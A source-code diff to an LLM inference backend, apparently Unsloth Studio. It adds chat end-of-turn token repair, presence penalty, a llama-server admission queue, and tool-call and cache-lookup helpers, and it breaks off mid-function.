b/studio/backend/core/inference/inference.py index 2b9517692f..7e69e05124 100644 --- a/studio/backend/core/inference/inference.py +++ b/studio/backend/core/inference/inference.py @@ -26,6 +26,12 @@ from utils.hardware import ( ) from core.inference.audio_codecs import AudioCodecManager from core.inference.runtime_context import runtime_context_length +from core.inference.message_content import content_to_text +from core.inference.chat_eos import ( + chat_eos_repair, + resolve_chat_turn_end_eos_ids_using, +) +from core.inference.presence_penalty import _make_presence_penalty_processor from io import StringIO import structlog from loggers import get_logger @@ -209,6 +215,50 @@ class InferenceBackend: # API uses -1 to disable top-k; transformers uses 0. return 0 if top_k < 0 else top_k + def _resolve_chat_eos(self, model_name: str) -> None: + """Resolve this chat model's assistant-turn-end stop tokens once at load, + cache them in model_info, and repair generation_config so every + ``.generate()`` path stops at the turn boundary. + + Some checkpoints (e.g. Qwen3.5 / Qwen3.6 small chat models) end turns with + ``<|im_end|>`` but ship ``config.eos_token_id = <|endoftext|>`` and no + ``generation_config.json``, so paths that read ``generation_config`` (the + vision path, tool loops) run past the turn and loop. Turn-end markers are + derived from the chat_template (see chat_eos.resolve_chat_turn_end_eos_ids), + so base/coder models and harmony templates are left untouched. + """ + info = self.models.get(model_name) or {} + model = info.get("model") + container = info.get("tokenizer") + tokenizer = getattr(container, "tokenizer", container) # unwrap processors + if model is None or tokenizer is None: + return + # Vision models carry the chat_template on the processor, not the inner + # tokenizer. Read markers from whichever has one, but resolve ids on the + # generation tokenizer, else the vision path misses the turn-end token. + template_source = container if getattr(container, "chat_template", None) else tokenizer + try: + turn_end_ids = resolve_chat_turn_end_eos_ids_using(template_source, tokenizer) + except Exception as e: # never block a load on eos resolution + logger.warning("Chat turn-end eos resolution failed for %s: %s", model_name, e) + return + info["chat_turn_end_eos_ids"] = turn_end_ids + + gen = getattr(model, "generation_config", None) + if gen is None: + return + repaired = chat_eos_repair(gen.eos_token_id, turn_end_ids) + if repaired is None: + return + previous = gen.eos_token_id + gen.eos_token_id = repaired + logger.info( + "Repaired generation_config.eos_token_id for %s: %s -> %s", + model_name, + previous, + repaired, + ) + def load_model( self, config: ModelConfig, @@ -220,6 +270,9 @@ class InferenceBackend: gpu_ids: Optional[list[int]] = None, ) -> bool: """Load any model: base, LoRA adapter, text, or vision.""" + # Keep the token so the native-template fallback can fetch a + # gated model's repo template later during generation. + self._hf_token = hf_token # GGUF uses max_seq_length=0 as "model default"; Unsloth crashes on it. if max_seq_length <= 0: max_seq_length = 2048 @@ -230,6 +283,8 @@ class InferenceBackend: # Already loaded? if model_name in self.models and self.models[model_name].get("model"): logger.info(f"Model {model_name} already loaded") + if hf_token: + self.models[model_name]["hf_token"] = hf_token self.active_model_name = model_name return True @@ -245,6 +300,14 @@ class InferenceBackend: ) self.models[model_name] = { + # Per-model token: the native-template fallback must use the + # token this model was loaded with, not whichever loaded last. + "hf_token": hf_token, + # Per-model consent: the native-template reload must re-use the + # exact trust_remote_code this model (and a LoRA's base) was loaded + # with, so a custom-code tokenizer repo can be re-fetched without + # executing any code the user did not already consent to. + "trust_remote_code": trust_remote_code, "is_vision": config.is_vision, "is_lora": config.is_lora, "is_audio": config.is_audio, @@ -495,6 +558,7 @@ class InferenceBackend: max_seq_length, ) + self._resolve_chat_eos(model_name) self._load_chat_template_info(model_name) self.active_model_name = model_name @@ -765,9 +829,11 @@ class InferenceBackend: preserve_thinking: Optional[bool] = None, max_tool_iterations: int = 25, auto_heal_tool_calls: bool = True, + nudge_tool_calls: Optional[bool] = None, tool_call_timeout: int = 300, session_id: Optional[str] = None, rag_scope: Optional[dict] = None, + presence_penalty: float = 0.0, ): """Run an agentic tool loop on top of ``generate_chat_response``. @@ -801,6 +867,7 @@ class InferenceBackend: enable_thinking = enable_thinking, reasoning_effort = reasoning_effort, preserve_thinking = preserve_thinking, + presence_penalty = presence_penalty, ) initial = list(messages) @@ -814,6 +881,7 @@ class InferenceBackend: execute_tool = execute_tool, cancel_event = cancel_event, auto_heal_tool_calls = auto_heal_tool_calls, + nudge_tool_calls = nudge_tool_calls, max_tool_iterations = max_tool_iterations, tool_call_timeout = tool_call_timeout, session_id = session_id, @@ -836,12 +904,14 @@ class InferenceBackend: enable_thinking: Optional[bool] = None, reasoning_effort: Optional[str] = None, preserve_thinking: Optional[bool] = None, + presence_penalty: float = 0.0, ) -> Generator[str, None, None]: """Generate response for text or vision models (lock held by background thread). ``tools`` / ``enable_thinking`` / ``reasoning_effort`` / ``preserve_thinking`` are forwarded into ``apply_chat_template`` so templates that understand them (Qwen3, Llama 3.1+, gpt-oss harmony) advertise tool schemas / reasoning controls. + ``presence_penalty`` matches the GGUF sampling path (0 disables it). """ yield from self._generate_chat_response_inner( messages = messages, @@ -858,6 +928,7 @@ class InferenceBackend: enable_thinking = enable_thinking, reasoning_effort = reasoning_effort, preserve_thinking = preserve_thinking, + presence_penalty = presence_penalty, ) def _generate_chat_response_inner( @@ -877,6 +948,7 @@ class InferenceBackend: enable_thinking: Optional[bool] = None, reasoning_effort: Optional[str] = None, preserve_thinking: Optional[bool] = None, + presence_penalty: float = 0.0, ) -> Generator[str, None, None]: """Inner generation logic, called by generate_chat_response and generate_with_adapter_control. @@ -916,6 +988,7 @@ class InferenceBackend: max_new_tokens, repetition_penalty, cancel_event = cancel_event, + presence_penalty = presence_penalty, ) return else: @@ -945,6 +1018,22 @@ class InferenceBackend: tokenizer, chat_template = template_name, ) + # The mapper installs the effective template only now, at generate + # time, so re-resolve and UNION into the load-time cache (never + # overwrite). get_chat_template can return a remapped tokenizer + # (turn-end folded onto doc-eos) while generate_stream reads the + # original, so take marker strings from the mapped template but + # resolve their ids on the original. + try: + _gen_tok = model_info.get("tokenizer") or tokenizer + refreshed = resolve_chat_turn_end_eos_ids_using( + getattr(tokenizer, "tokenizer", tokenizer), + getattr(_gen_tok, "tokenizer", _gen_tok), + ) + existing = model_info.get("chat_turn_end_eos_ids") or [] + model_info["chat_turn_end_eos_ids"] = sorted(set(existing) | set(refreshed)) + except Exception as e: + logger.warning(f"Could not refresh chat turn-end eos after template: {e}") else: logger.info( f"No registered Unsloth template for {self.active_model_name}, using tokenizer default" @@ -974,6 +1063,27 @@ class InferenceBackend: reasoning_effort = reasoning_effort, preserve_thinking = preserve_thinking, ) + + # If tools were requested but the (possibly overridden) template ignored + # them, fall back to the model's native template (shared with MLX). + from core.inference.chat_template_helpers import ( + render_with_native_template_fallback, + ) + + formatted_prompt = render_with_native_template_fallback( + formatted_prompt = formatted_prompt, + tokenizer = tokenizer, + model_info = model_info, + active_model_name = self.active_model_name, + messages = template_messages, + tools = tools, + enable_thinking = enable_thinking, + reasoning_effort = reasoning_effort, + preserve_thinking = preserve_thinking, + apply_fn = self._apply_chat_template_for_generation, + hf_token = model_info.get("hf_token"), + ) + logger.debug(f"Formatted prompt: {formatted_prompt[:200]}...") except Exception as e: logger.error(f"Error applying chat template: {e}") @@ -991,6 +1101,7 @@ class InferenceBackend: repetition_penalty, cancel_event = cancel_event, _adapter_state = _adapter_state, + presence_penalty = presence_penalty, ) def _generate_vision_response( @@ -1005,6 +1116,7 @@ class InferenceBackend: max_new_tokens, repetition_penalty, cancel_event = None, + presence_penalty: float = 0.0, ) -> Generator[str, None, None]: """Handle vision model generation with true token-by-token streaming.""" model_info = self.models[self.active_model_name] @@ -1018,7 +1130,7 @@ class InferenceBackend: user_message = "" if messages and messages[-1]["role"] == "user": import re - user_message = messages[-1]["content"] + user_message = content_to_text(messages[-1]["content"]) user_message = re.sub(r"]*>", "", user_message).strip() if not user_message: @@ -1066,13 +1178,22 @@ class InferenceBackend: add_special_tokens = False, return_tensors = "pt", ).to(model.device) + prompt_text = input_text else: # Text-only path for a vision model formatted_prompt = self.format_chat_prompt(messages, system_prompt) inputs = raw_tokenizer(formatted_prompt, return_tensors = "pt").to(model.device) + prompt_text = formatted_prompt # Stream with TextIteratorStreamer + background thread try: + from core.inference.chat_template_helpers import detect_think_prefill + + # Re-emit an open prefill swallowed by skip_prompt (see + # generate_stream). + think_prefix = detect_think_prefill( + prompt_text, getattr(raw_tokenizer, "all_special_tokens", None) + ) from transformers import TextIteratorStreamer import threading @@ -1094,6 +1215,14 @@ class InferenceBackend: top_k = top_k, min_p = min_p, ) + # Presence penalty (GGUF parity) for VLM chat. + _vision_input_ids = inputs.get("input_ids") if hasattr(inputs, "get") else None + if _vision_input_ids is not None: + _pp = _make_presence_penalty_processor( + presence_penalty, int(_vision_input_ids.shape[1]) + ) + if _pp is not None: + generation_kwargs["logits_processor"] = _pp err: dict[str, str] = {} @@ -1113,7 +1242,11 @@ class InferenceBackend: thread = threading.Thread(target = generate_fn) thread.start() - output = "" + output = think_prefix + # Emit the prefilled before the first token so the block + # renders during prompt prefill (which can take seconds). + if think_prefix: + yield think_prefix from queue import Empty generation_complete = False @@ -1181,7 +1314,7 @@ class InferenceBackend: if messages: for msg in reversed(messages): if msg["role"] == "user" and msg.get("content"): - user_text = msg["content"] + user_text = content_to_text(msg["content"]) break # ASR-specific default system prompt if none set @@ -1322,11 +1455,13 @@ class InferenceBackend: repetition_penalty: float = 1.0, cancel_event = None, _adapter_state = None, + presence_penalty: float = 0.0, ) -> Generator[str, None, None]: """Generate a streaming text response (text models only). _adapter_state: if not None, the background thread toggles adapters before model.generate(), under _generation_lock. + ``presence_penalty`` matches the GGUF sampling path via a logits processor (0 disables it). """ if not self.active_model_name: yield "Error: No active model" @@ -1345,6 +1480,16 @@ class InferenceBackend: from transformers import TextIteratorStreamer import threading + from core.inference.chat_template_helpers import detect_think_prefill + + # skip_prompt swallows an open prefilled by the template; + # re-emit it so the frontend can render the thinking block. + # gpt-oss emits its own tags via HarmonyTextStreamer. + think_prefix = ( + "" + if self._is_gpt_oss_model() + else detect_think_prefill(prompt, getattr(tokenizer, "all_special_tokens", None)) + ) # gpt-oss models: HarmonyTextStreamer parses the multi-channel # harmony protocol into tags @@ -1381,11 +1526,18 @@ class InferenceBackend: min_p = min_p, repetition_penalty = repetition_penalty, do_sample = temperature > 0, - eos_token_id = tokenizer.eos_token_id, + # Resolved once at load (chat_template-derived turn-end tokens). + eos_token_id = model_info.get("chat_turn_end_eos_ids") or tokenizer.eos_token_id, pad_token_id = tokenizer.eos_token_id if tokenizer.pad_token_id is None else tokenizer.pad_token_id, ) + # Presence penalty (GGUF parity); prompt_len excludes prompt tokens. + _pp = _make_presence_penalty_processor( + presence_penalty, int(inputs["input_ids"].shape[1]) + ) + if _pp is not None: + generation_kwargs["logits_processor"] = _pp if cancel_event is not None: from transformers.generation.stopping_criteria import ( StoppingCriteria, @@ -1421,7 +1573,11 @@ class InferenceBackend: thread = threading.Thread(target = generate_fn) thread.start() - output = "" + output = think_prefix + # Emit the prefilled before the first token so the block + # renders during prompt prefill (which can take seconds). + if think_prefix: + yield think_prefix from queue import Empty generation_complete = False @@ -1713,7 +1869,7 @@ class InferenceBackend: for msg in messages: role = msg.get("role", "") - content = msg.get("content", "") + content = content_to_text(msg.get("content", "")) if role in ["system", "user", "assistant"] and content.strip(): if role == last_role: @@ -1801,7 +1957,7 @@ class InferenceBackend: for msg in messages: role = msg["role"] - content = msg["content"] + content = content_to_text(msg["content"]) formatted += f"<|start_header_id|>{role}<|end_header_id|>\n\n{content}<|eot_id|>" formatted += "<|start_header_id|>assistant<|end_header_id|>\n\n" @@ -1817,14 +1973,14 @@ class InferenceBackend: for msg in messages: if msg["role"] == "system": - system_msg = msg["content"] + system_msg = content_to_text(msg["content"]) else: conversation.append(msg) i = 0 while i < len(conversation): if conversation[i]["role"] == "user": - user_content = conversation[i]["content"] + user_content = content_to_text(conversation[i]["content"]) if system_msg and i == 0: user_content = f"{system_msg}\n\n{user_content}" @@ -1832,7 +1988,7 @@ class InferenceBackend: formatted += f"[INST] {user_content} [/INST]" if i + 1 < len(conversation) and conversation[i + 1]["role"] == "assistant": - formatted += f" {conversation[i + 1]['content']}" + formatted += f" {content_to_text(conversation[i + 1]['content'])}" i += 2 else: formatted += " " @@ -1848,7 +2004,7 @@ class InferenceBackend: for msg in messages: role = msg["role"] - content = msg["content"] + content = content_to_text(msg["content"]) formatted += f"<|im_start|>{role}\n{content}<|im_end|>\n" formatted += "<|im_start|>assistant\n" @@ -1860,16 +2016,17 @@ class InferenceBackend: system_msg = None for msg in messages: + content = content_to_text(msg["content"]) if msg["role"] == "system": - system_msg = msg["content"] + system_msg = content elif msg["role"] == "user": if system_msg: - formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{msg['content']}\n\n### Response:\n" + formatted += f"### Instruction:\n{system_msg}\n\n### Input:\n{content}\n\n### Response:\n" system_msg = None else: - formatted += f"### Human:\n{msg['content']}\n\n### Assistant:\n" + formatted += f"### Human:\n{content}\n\n### Assistant:\n" elif msg["role"] == "assistant": - formatted += f"{msg['content']}\n\n" + formatted += f"{content}\n\n" return formatted @@ -1879,7 +2036,7 @@ class InferenceBackend: for msg in messages: role = msg["role"].title() - content = msg["content"] + content = content_to_text(msg["content"]) formatted += f"{role}: {content}\n" formatted += "Assistant: " diff --git a/studio/backend/core/inference/llama_admission.py b/studio/backend/core/inference/llama_admission.py new file mode 100644 index 0000000000..b6a939c87b --- /dev/null +++ b/studio/backend/core/inference/llama_admission.py @@ -0,0 +1,368 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +"""Admission control for local llama-server generation requests. + +The helpers in this module deliberately know nothing about FastAPI, SSE, or the +OpenAI-compatible route shape. They only coordinate how many upstream generation +requests may be active for one llama-server backend and provide a cancellable +FIFO queue for excess requests. +""" + +from __future__ import annotations + +import asyncio +import os +import threading +from collections import deque +from dataclasses import dataclass +from typing import Deque, Optional + + +ADMISSION_CONTROL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_CONTROL" +ADMISSION_QUEUE_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_QUEUE_TIMEOUT" +ADMISSION_KEEPALIVE_INTERVAL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_KEEPALIVE_INTERVAL" +ADMISSION_MAX_QUEUE_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_MAX_QUEUE" + +DEFAULT_ADMISSION_ENABLED = True +DEFAULT_ADMISSION_QUEUE_TIMEOUT_S = None +DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S = 5.0 +DEFAULT_ADMISSION_MAX_QUEUE = 64 + + +@dataclass(frozen = True) +class LlamaAdmissionConfig: + enabled: bool = DEFAULT_ADMISSION_ENABLED + queue_timeout_s: Optional[float] = DEFAULT_ADMISSION_QUEUE_TIMEOUT_S + keepalive_interval_s: float = DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S + max_queue: Optional[int] = DEFAULT_ADMISSION_MAX_QUEUE + + +@dataclass(frozen = True) +class LlamaAdmissionSnapshot: + key: str + capacity: int + active: int + queued: int + + +class LlamaAdmissionError(Exception): + def __init__( + self, + message: str, + *, + snapshot: Optional[LlamaAdmissionSnapshot] = None, + ): + super().__init__(message) + self.snapshot = snapshot + + +class LlamaAdmissionQueueFull(LlamaAdmissionError): + pass + + +class LlamaAdmissionTimeout(LlamaAdmissionError): + pass + + +class LlamaAdmissionCancelled(LlamaAdmissionError): + pass + + +def _bool_env(name: str, default: bool) -> bool: + value = os.environ.get(name) + if value is None or not value.strip(): + return default + value = value.strip().lower() + if value in {"1", "true", "yes", "on"}: + return True + if value in {"0", "false", "no", "off"}: + return False + return default + + +def _optional_positive_float_env(name: str, default: Optional[float]) -> Optional[float]: + value = os.environ.get(name) + if value is None or not value.strip(): + return default + try: + parsed = float(value.strip()) + except ValueError: + return default + return parsed if parsed > 0 else None + + +def _positive_float_env(name: str, default: float) -> float: + value = os.environ.get(name) + if value is None or not value.strip(): + return default + try: + parsed = float(value.strip()) + except ValueError: + return default + return parsed if parsed > 0 else default + + +def _optional_positive_int_env(name: str, default: Optional[int]) -> Optional[int]: + value = os.environ.get(name) + if value is None or not value.strip(): + return default + try: + parsed = int(value.strip()) + except ValueError: + return default + return parsed if parsed > 0 else None + + +def llama_admission_config_from_env() -> LlamaAdmissionConfig: + return LlamaAdmissionConfig( + enabled = _bool_env(ADMISSION_CONTROL_ENV, DEFAULT_ADMISSION_ENABLED), + queue_timeout_s = _optional_positive_float_env( + ADMISSION_QUEUE_TIMEOUT_ENV, + DEFAULT_ADMISSION_QUEUE_TIMEOUT_S, + ), + keepalive_interval_s = _positive_float_env( + ADMISSION_KEEPALIVE_INTERVAL_ENV, + DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S, + ), + max_queue = _optional_positive_int_env( + ADMISSION_MAX_QUEUE_ENV, + DEFAULT_ADMISSION_MAX_QUEUE, + ), + ) + + +@dataclass +class _Waiter: + loop: asyncio.AbstractEventLoop + future: asyncio.Future + cancelled: bool = False + granted_lease: Optional["LlamaAdmissionLease"] = None + + +class LlamaAdmissionLease: + def __init__(self, queue: Optional["LlamaAdmissionQueue"]): + self._queue = queue + self._released = False + self._release_lock = threading.Lock() + + def release(self) -> None: + queue = None + with self._release_lock: + if self._released: + return + self._released = True + queue = self._queue + if queue is not None: + queue.release() + + async def __aenter__(self) -> "LlamaAdmissionLease": + return self + + async def __aexit__(self, *_args) -> None: + self.release() + + +class LlamaAdmissionReservation: + def __init__( + self, + *, + queue: Optional["LlamaAdmissionQueue"], + lease: Optional[LlamaAdmissionLease] = None, + waiter: Optional[_Waiter] = None, + snapshot: Optional[LlamaAdmissionSnapshot] = None, + ): + self._queue = queue + self._lease = lease + self._waiter = waiter + self.snapshot = snapshot + + @property + def is_cancelled(self) -> bool: + return self._lease is None and self._waiter is None + + def lease_nowait(self) -> Optional[LlamaAdmissionLease]: + if self._lease is not None: + return self._lease + if self._waiter is None or not self._waiter.future.done(): + return None + if self._waiter.future.cancelled(): + self._waiter.cancelled = True + self._waiter = None + return None + self._lease = self._waiter.future.result() + self._waiter = None + return self._lease + + async def wait(self, timeout_s: float) -> Optional[LlamaAdmissionLease]: + lease = self.lease_nowait() + if lease is not None: + return lease + if self._waiter is None: + return None + waiter = self._waiter + try: + await asyncio.wait_for(asyncio.shield(waiter.future), timeout = timeout_s) + except asyncio.CancelledError: + if waiter.future.cancelled(): + waiter.cancelled = True + if self._waiter is waiter: + self._waiter = None + return None + raise + return self.lease_nowait() + + def cancel(self) -> None: + lease = self.lease_nowait() + if lease is not None: + lease.release() + self._lease = None + return + if self._queue is not None and self._waiter is not None: + self._queue.cancel(self._waiter) + self._waiter = None + + def snapshot_now(self) -> Optional[LlamaAdmissionSnapshot]: + if self._queue is None: + return self.snapshot + return self._queue.snapshot() + + +class LlamaAdmissionQueue: + def __init__(self, key: str): + self.key = key + self._lock = threading.Lock() + self._active = 0 + self._capacity = 1 + self._waiters: Deque[_Waiter] = deque() + + def reserve(self, *, capacity: int, config: LlamaAdmissionConfig) -> LlamaAdmissionReservation: + capacity = max(1, int(capacity or 1)) + if not config.enabled: + return LlamaAdmissionReservation( + queue = None, + lease = LlamaAdmissionLease(None), + snapshot = LlamaAdmissionSnapshot(self.key, capacity, 0, 0), + ) + + loop = asyncio.get_running_loop() + with self._lock: + self._capacity = capacity + self._prune_waiters_locked() + self._grant_waiters_locked() + if self._active < self._capacity and not self._waiters: + self._active += 1 + return LlamaAdmissionReservation( + queue = self, + lease = LlamaAdmissionLease(self), + snapshot = self._snapshot_locked(), + ) + if config.max_queue is not None and len(self._waiters) >= config.max_queue: + raise LlamaAdmissionQueueFull( + "llama-server generation queue is full", + snapshot = self._snapshot_locked(), + ) + waiter = _Waiter( + loop = loop, + future = loop.create_future(), + ) + self._waiters.append(waiter) + return LlamaAdmissionReservation( + queue = self, + waiter = waiter, + snapshot = self._snapshot_locked(), + ) + + def release(self) -> None: + with self._lock: + if self._active > 0: + self._active -= 1 + self._grant_waiters_locked() + + def cancel(self, waiter: _Waiter) -> None: + lease_to_release = None + with self._lock: + waiter.cancelled = True + try: + self._waiters.remove(waiter) + except ValueError: + pass + if waiter.granted_lease is not None: + lease_to_release = waiter.granted_lease + waiter.granted_lease = None + if not waiter.future.done(): + waiter.loop.call_soon_threadsafe(waiter.future.cancel) + if lease_to_release is not None: + lease_to_release.release() + + def snapshot(self) -> LlamaAdmissionSnapshot: + with self._lock: + self._prune_waiters_locked() + return self._snapshot_locked() + + def is_idle(self) -> bool: + with self._lock: + self._prune_waiters_locked() + return self._active == 0 and not self._waiters + + def _grant_waiters_locked(self) -> None: + self._prune_waiters_locked() + while self._waiters and self._active < self._capacity: + waiter = self._waiters.popleft() + if waiter.cancelled or waiter.future.done(): + continue + self._active += 1 + lease = LlamaAdmissionLease(self) + waiter.granted_lease = lease + waiter.loop.call_soon_threadsafe(self._deliver_lease, waiter, lease) + + def _deliver_lease(self, waiter: _Waiter, lease: LlamaAdmissionLease) -> None: + if waiter.cancelled or waiter.future.done(): + waiter.granted_lease = None + if not waiter.future.done(): + waiter.future.cancel() + lease.release() + return + try: + waiter.future.set_result(lease) + waiter.granted_lease = None + except asyncio.InvalidStateError: + waiter.granted_lease = None + lease.release() + + def _prune_waiters_locked(self) -> None: + self._waiters = deque( + waiter for waiter in self._waiters if not waiter.cancelled and not waiter.future.done() + ) + + def _snapshot_locked(self) -> LlamaAdmissionSnapshot: + return LlamaAdmissionSnapshot( + key = self.key, + capacity = self._capacity, + active = self._active, + queued = len(self._waiters), + ) + + +_QUEUES_LOCK = threading.Lock() +_QUEUES: dict[str, LlamaAdmissionQueue] = {} + + +def get_llama_admission_queue(key: str) -> LlamaAdmissionQueue: + with _QUEUES_LOCK: + queue = _QUEUES.get(key) + if queue is None: + queue = LlamaAdmissionQueue(key) + _QUEUES[key] = queue + # base_url carries a fresh ephemeral port on every model load, so + # each load registers a new key. Drop the now-idle queues from prior + # loads so the registry can't grow without bound on a long-running + # server. Queues with in-flight requests are kept until they drain. + for stale_key in [k for k in _QUEUES if k != key and _QUEUES[k].is_idle()]: + del _QUEUES[stale_key] + return queue + + +def reset_llama_admission_queues() -> None: + with _QUEUES_LOCK: + _QUEUES.clear() diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py index b6f83b760c..b06c6eb5cb 100644 --- a/studio/backend/core/inference/llama_cpp.py +++ b/studio/backend/core/inference/llama_cpp.py @@ -38,9 +38,35 @@ from core.inference.llama_server_args import ( strip_shadowing_flags, strip_split_mode_only, ) + +# Share strip / signal constants with the multi-format parser so BUFFERING also +# catches Llama-3 / Mistral / Gemma 4 (legacy helper only knew / "list[str]": return out -# ── Pre-compiled patterns for plan-without-action re-prompt ── -# Forward-looking intent signals: the model is describing what it *will* -# do rather than giving a final answer. -_INTENT_SIGNAL = re.compile( - r"(?i)(" - # Direct intent ("I'll ...", "Let me ...", straight + curly apostrophes). - # Excludes "I can"/"I should"/"I want to"/"let's" (common in answers). - # Negative lookahead drops negated forms ("I will not") so a refusal - # doesn't trigger a re-prompt. - r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)" - r"|" - # Step/plan framing: "First ...", "Step 1:", "Here's my plan" - r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))" - r"|" - # "Now I" / "Next I" patterns - r"\b(?:now i|next i)\b" - r")" -) -_MAX_REPROMPTS = 1 +# Plan-without-action re-prompt state (intent signal, caps, message) now lives +# in tool_call_parser, imported above under its old aliases. # Default max_tokens to the effective context when known. The floor is high # enough for reasoning-heavy GGUFs and max_tokens-omitting API clients. _DEFAULT_MAX_TOKENS_FLOOR = 32768 _DEFAULT_FIRST_TOKEN_TIMEOUT_S = 1200.0 # 20 min + +# Only large streamed tool payloads get an early provisional card; render_html +# is exempt because it needs immediate artifact feedback. +_PROVISIONAL_ARGS_MIN_CHARS = 256 _DEFAULT_STREAM_STALL_TIMEOUT_S = 120.0 # 2 min -_REPROMPT_MAX_CHARS = 2000 +# Cap tool calls from a single TEXTUAL-fallback turn (mirrors the safetensors +# loop). Structured delta.tool_calls are grammar-bounded by llama-server; text +# parsed from content is not, so one runaway turn could fan out unbounded. +_MAX_TOOL_CALLS_PER_TURN = 8 _FORCED_REPEAT_PLAN_SIGNAL = re.compile( r"\b(?:i\s+will|i'll|let\s+me|going\s+to|need\s+to|call|use|run|search|fetch|render)\b", re.I, @@ -238,9 +258,70 @@ _FINAL_ANSWER_SIGNAL = re.compile( ) -def _is_short_intent_without_action(text: str) -> bool: - stripped = text.strip() - return 0 < len(stripped) < _REPROMPT_MAX_CHARS and _INTENT_SIGNAL.search(stripped) is not None +def _gguf_active_tool_names(active_tools: list[dict]) -> list[str]: + names = [ + (tool.get("function") or {}).get("name") + for tool in (active_tools or []) + if isinstance(tool, dict) and isinstance(tool.get("function"), dict) + ] + return [name for name in names if name] + + +# Rehearsal NAME chars (word + hyphen, matching the parser); the lookbehind excludes the +# Mistral [CALL_ID]...[ARGS] shape. +_GGUF_REHEARSAL_ARGS_RE = re.compile(r"(? int: + """Index of the first ``NAME[ARGS]`` whose NAME is an active tool, else -1. A + bare/inactive-name ``foo[ARGS]`` in prose is not a call; mirrors the safetensors + ``_earliest_tool_signal`` name-gating (no unrestricted GGUF mode).""" + active = set(_gguf_active_tool_names(active_tools)) + if not active: + return -1 + for m in _GGUF_REHEARSAL_ARGS_RE.finditer(text): + if m.group(1) in active: + return m.start() + return -1 + + +def _gguf_has_genuine_tool_signal(text: str, signals, active_tools: list[dict]) -> bool: + """True when ``text`` holds a genuine tool-call boundary for one of ``signals``. + + Unambiguous markers (````, ``[TOOL_CALLS]``, ``= 0: + return True + continue + if sig in text: + return True + return False + + +def _is_rehearsal_prefix(stripped: str, active_tools: list[dict]) -> bool: + """True if ``stripped`` is a (possibly partial) prefix of ``NAME[ARGS]`` for an + active tool -- the bare tool name arriving in its own chunk before ``[ARGS]{...}``. + Mirrors the safetensors loop so the split rehearsal call is not streamed.""" + if not stripped or any(ch.isspace() for ch in stripped): + return False + for name in _gguf_active_tool_names(active_tools): + if stripped == name or f"{name}[ARGS]".startswith(stripped): + return True + return False + + +def _held_rehearsal_tail_len(text: str, active_tools: list[dict]) -> int: + """Length of a trailing bare tool-name token that may be a split rehearsal call + (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it + instead of leaking the name. Returns 0 for ordinary prose. Mirrors safetensors.""" + i = len(text) + while i > 0 and not text[i - 1].isspace(): + i -= 1 + tail = text[i:] + return len(tail) if tail and _is_rehearsal_prefix(tail, active_tools) else 0 def _should_suppress_forced_no_tool_output(text: str) -> bool: @@ -300,6 +381,19 @@ def _probe_dns_dead(host: str = "huggingface.co", timeout: float = 2.0) -> bool: return True if result[0] is None else result[0] +def _hf_env_offline() -> bool: + """True when an HF offline env var is set to any truthy value (1/true/yes/on). + + Mirrors utils.models.model_config._env_offline so a user-set HF_HUB_OFFLINE=true + (not just "1") still routes through the local-cache reuse path below. + """ + try: + from utils.models.model_config import _env_offline + return _env_offline() + except Exception: + return os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in {"1", "true", "yes", "on"} + + @contextlib.contextmanager def _hf_offline_if_dns_dead(): """Set HF_HUB_OFFLINE for this block only when DNS to huggingface.co fails; @@ -541,6 +635,13 @@ _TOOL_TEMPLATE_MARKERS = ( "'role' == 'tool'", 'message.role == "tool"', "message.role == 'tool'", + # DeepSeek: no top-level ``{% if tools %}`` block; it gates emission on + # ``message['role'] == 'tool'`` plus ``message['tool_calls'] is defined``. + "message['role'] == 'tool'", + 'message["role"] == "tool"', + "message['tool_calls']", + 'message["tool_calls"]', + "tool_calls is defined", ) @@ -601,6 +702,16 @@ def detect_reasoning_flags( else [] ) if effort_levels: + # DeepSeek-V4's encoder accepts reasoning_effort {'high', 'max'} but its + # template only branches on 'max', so the literal scan misses 'high'. Add it + # (matched on whole repo-name segments, so 'deepseek-v40' won't false-match) + # to expose the full none/high/max ladder instead of none/max. + segments = re.split(r"[-_.]", (model_identifier or "").lower().split("/")[-1]) + is_dsv4 = "deepseek4" in segments or any( + a == "deepseek" and b == "v4" for a, b in zip(segments, segments[1:]) + ) + if is_dsv4 and "high" not in effort_levels: + effort_levels = sorted(set(effort_levels) | {"high"}, key = _REASONING_EFFORT_SCALE.index) # GLM-5.2-style: an enable_thinking on/off gate PLUS a reasoning_effort # level among a discrete set (e.g. 'high' | 'max'). Distinct from # gpt-oss (reasoning_effort only, no on/off gate) and Qwen @@ -743,6 +854,112 @@ def _gguf_snapshot_files(snapshot: Path) -> list[str]: ] +def _cached_hf_snapshot_file( + repo_id: str, + filename: str, + *, + expected_size: Optional[int] = None, +) -> Optional[str]: + """Return a cached snapshot file even when HF's current-ref probe misses it.""" + if not filename: + return None + parts = [part for part in filename.replace("\\", "/").split("/") if part] + if not parts or any(part in (".", "..") for part in parts): + return None + try: + from utils.models.model_config import _iter_hf_cache_snapshots + for snap in _iter_hf_cache_snapshots(repo_id): + candidate = snap.joinpath(*parts) + if not candidate.is_file(): + continue + if expected_size: + try: + if candidate.stat().st_size < expected_size: + continue + except OSError: + continue + return str(candidate) + except Exception as e: + logger.debug("Snapshot cache lookup failed for %s/%s: %s", repo_id, filename, e) + return None + + +def _snapshot_has_all_shards( + main_path: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int] +) -> bool: + """True when every shard sits beside ``main_path`` in the same cache snapshot. + + llama.cpp loads a split GGUF by resolving its siblings from the main shard's + directory, so a cached main shard is only safe to reuse when the rest of the + set is co-located; otherwise the caller must fetch the whole set together. + """ + root = Path(main_path) + for _ in [part for part in main_filename.replace("\\", "/").split("/") if part]: + root = root.parent + for shard in shards: + parts = [part for part in shard.replace("\\", "/").split("/") if part] + if not 